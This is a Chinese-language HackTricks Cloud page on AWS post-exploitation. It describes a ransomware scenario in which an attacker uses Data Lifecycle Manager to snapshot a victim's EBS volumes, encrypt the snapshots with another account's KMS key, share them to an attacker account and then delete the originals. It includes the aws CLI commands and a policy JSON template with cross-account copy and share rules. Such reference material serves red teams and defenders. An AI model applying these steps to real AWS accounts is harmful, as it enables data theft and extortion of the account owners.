AWS - DLM Post Exploitation

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

数据生命周期管理器 (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

勒索软件攻击可以通过加密尽可能多的 EBS 卷，然后删除当前的 EC2 实例、EBS 卷和快照来执行。为了自动化这一恶意活动，可以使用 Amazon DLM，使用来自另一个 AWS 账户的 KMS 密钥加密快照，并将加密的快照转移到不同的账户。或者，他们可能将未加密的快照转移到他们管理的账户，然后在那里加密它们。虽然直接加密现有的 EBS 卷或快照并不简单，但可以通过创建新的卷或快照来实现。

首先，可以使用命令收集卷的信息，例如实例 ID、卷 ID、加密状态、附加状态和卷类型。

aws ec2 describe-volumes

其次，将创建生命周期策略。此命令使用 DLM API 设置一个生命周期策略，该策略在指定时间自动对指定卷进行每日快照。它还会将特定标签应用于快照，并将卷的标签复制到快照中。policyDetails.json 文件包含生命周期策略的具体信息，例如目标标签、计划、用于加密的可选 KMS 密钥的 ARN，以及快照共享的目标账户，这些信息将记录在受害者的 CloudTrail 日志中。

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

可以在这里看到政策文档的模板：

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。